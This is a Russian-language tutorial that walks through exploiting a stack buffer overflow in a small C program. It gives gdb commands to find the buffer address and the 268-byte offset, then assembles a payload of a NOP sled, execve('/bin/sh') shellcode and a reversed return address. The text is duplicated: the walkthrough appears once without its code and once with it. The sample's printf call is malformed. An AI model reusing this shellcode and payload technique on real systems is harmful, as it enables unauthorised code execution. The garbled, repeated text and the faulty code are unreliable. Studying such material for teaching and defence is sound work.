Дефекты переполнения буфера могут присутствовать как в продуктах веб-сервера и сервера приложений, которые обслуживают статические и динамические части сайта, так и в самом веб-приложении. Переполнения буфера, обнаруженные в широко используемых серверных продуктах, скорее всего, станут широко известны и могут представлять значительный риск для пользователей этих продуктов.
Когда веб-приложения используют библиотеки, такие как графическая библиотека для создания изображений или коммуникационная библиотека для отправки электронной почты, они открываются для потенциальных атак на переполнение буфера. Литература с подробным описанием атак переполнения буфера на широко используемые продукты легко доступна, а сообщения о вновь обнаруженных уязвимостях поступают практически ежедневно.
example.c:
Итак, мы создаем массив символов, затем копируем argv[1] в массив, который мы только что создали, и мы использовали strcopy, чтобы буфер был настолько большим, насколько мы хотим. Затем мы просто выводим его и возвращаем 0.
Здесь нам нужно понять, что мы можем перезаписывать стек и, следовательно, можем перезаписывать информацию.
Теперь нам нужно выяснить, где начинается стек. Первый адрес памяти.
Для этого нам нужно сделать точку останова. поэтому давайте захватим часть памяти ниже функции вызова и пусть это будет наша точка останова.
Теперь мы хотим вывести что-то, что мы можем увидеть в стеке, чтобы знать, где начинается буфер. Давайте воспользуемся буквой A, которая в шестнадцатеричном формате равна 0x41.
Мы просто печатаем 256 букв A в коде. Выполним эту команду, и она остановится на точке прерывания, которую мы поставили. Теперь давайте рассмотрим нашу инъекцию в шестнадцатеричном формате, чтобы проверить, сработала ли она.
x - это сокращение от Examine, 200 - это количество байт, которое мы хотим видеть на экране, следующее x - для шестнадцатеричных значений, а b - для байта. Затем мы устанавливаем значение $esp, потому что это указатель стека.
Отлично, мы видим начальный адрес буфера. С него начинаются адреса 0x41. Так что давайте скопируем первый адрес, 0xffffced0.
Следующее, что нам нужно сделать, это узнать размер буфера. Для этого мы можем снова запустить наш сценарий Python, но немного изменить его и поиграть с некоторыми значениями, пока не получим переполнение.
Давайте попробуем для начала 260 байт. Мы хотим получить 'Segmentation Fault', а не нормальный выход из буфера, поэтому нам придется повозиться с количеством отправляемых байт.
Ладно, 260 не сработало, но что сработало для нас, так это 268.
Отлично, так что если мы запустим его с чем-нибудь больше 268, мы должны снова увидеть наши символы A.
мы знаем, что у нас есть 268 байт памяти, доступной для записи, и мы хотим заполнить ее как можно большим количеством NOP. Единственное, что нам еще нужно написать, это код оболочки.
По сути, все, что это делает, это говорит компьютеру запустить SHELL. Поскольку его длина составляет 46 байт, нам нужно вычесть это значение из 268 байт, которые мы получили ранее. 268-46=222. Так вот сколько nop мы собираемся записать. Значение для nop равно \x90. Итак, давайте используем эти значения и снова выполним скрипт Python.
Большинство компьютеров в наши дни работают в режиме Little Endian, поэтому нам пришлось изменить адрес в конце в обратную сторону, чтобы это сработало. Таким образом, \xff\xff\xce\xd0 адрес памяти, который мы скопировали ранее, становится \xd0\xce\xff\xff.
- https://chortle.ccsu.edu/AssemblyTutorial/Chapter-15/ass15_3.html
Когда веб-приложения используют библиотеки, такие как графическая библиотека для создания изображений или коммуникационная библиотека для отправки электронной почты, они открываются для потенциальных атак на переполнение буфера. Литература с подробным описанием атак переполнения буфера на широко используемые продукты легко доступна, а сообщения о вновь обнаруженных уязвимостях поступают практически ежедневно.
example.c:
C:
int main(int argc, char *argv[]){
char buf[256];
strcpy(buf, argv[1]);
printf("%s\n , buf");
return 0;
}
Итак, мы создаем массив символов, затем копируем argv[1] в массив, который мы только что создали, и мы использовали strcopy, чтобы буфер был настолько большим, насколько мы хотим. Затем мы просто выводим его и возвращаем 0.
Здесь нам нужно понять, что мы можем перезаписывать стек и, следовательно, можем перезаписывать информацию.
Код:
disas main
Теперь нам нужно выяснить, где начинается стек. Первый адрес памяти.
Для этого нам нужно сделать точку останова. поэтому давайте захватим часть памяти ниже функции вызова и пусть это будет наша точка останова.
Код:
break 0x08048475
Теперь мы хотим вывести что-то, что мы можем увидеть в стеке, чтобы знать, где начинается буфер. Давайте воспользуемся буквой A, которая в шестнадцатеричном формате равна 0x41.
Код:
run $(python -c "print('A' *256)")
Мы просто печатаем 256 букв A в коде. Выполним эту команду, и она остановится на точке прерывания, которую мы поставили. Теперь давайте рассмотрим нашу инъекцию в шестнадцатеричном формате, чтобы проверить, сработала ли она.
Код:
x/200xb $esp
x - это сокращение от Examine, 200 - это количество байт, которое мы хотим видеть на экране, следующее x - для шестнадцатеричных значений, а b - для байта. Затем мы устанавливаем значение $esp, потому что это указатель стека.
Отлично, мы видим начальный адрес буфера. С него начинаются адреса 0x41. Так что давайте скопируем первый адрес, 0xffffced0.
Следующее, что нам нужно сделать, это узнать размер буфера. Для этого мы можем снова запустить наш сценарий Python, но немного изменить его и поиграть с некоторыми значениями, пока не получим переполнение.
Код:
run $(python -c "print('A' *260)")
Давайте попробуем для начала 260 байт. Мы хотим получить 'Segmentation Fault', а не нормальный выход из буфера, поэтому нам придется повозиться с количеством отправляемых байт.
Ладно, 260 не сработало, но что сработало для нас, так это 268.
Отлично, так что если мы запустим его с чем-нибудь больше 268, мы должны снова увидеть наши символы A.
мы знаем, что у нас есть 268 байт памяти, доступной для записи, и мы хотим заполнить ее как можно большим количеством NOP. Единственное, что нам еще нужно написать, это код оболочки.
Код:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
По сути, все, что это делает, это говорит компьютеру запустить SHELL. Поскольку его длина составляет 46 байт, нам нужно вычесть это значение из 268 байт, которые мы получили ранее. 268-46=222. Так вот сколько nop мы собираемся записать. Значение для nop равно \x90. Итак, давайте используем эти значения и снова выполним скрипт Python.
Код:
run $(python -c "print('\x90' *222+ '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\xd0\xce\xff\xff')")
Большинство компьютеров в наши дни работают в режиме Little Endian, поэтому нам пришлось изменить адрес в конце в обратную сторону, чтобы это сработало. Таким образом, \xff\xff\xce\xd0 адрес памяти, который мы скопировали ранее, становится \xd0\xce\xff\xff.
- https://chortle.ccsu.edu/AssemblyTutorial/Chapter-15/ass15_3.html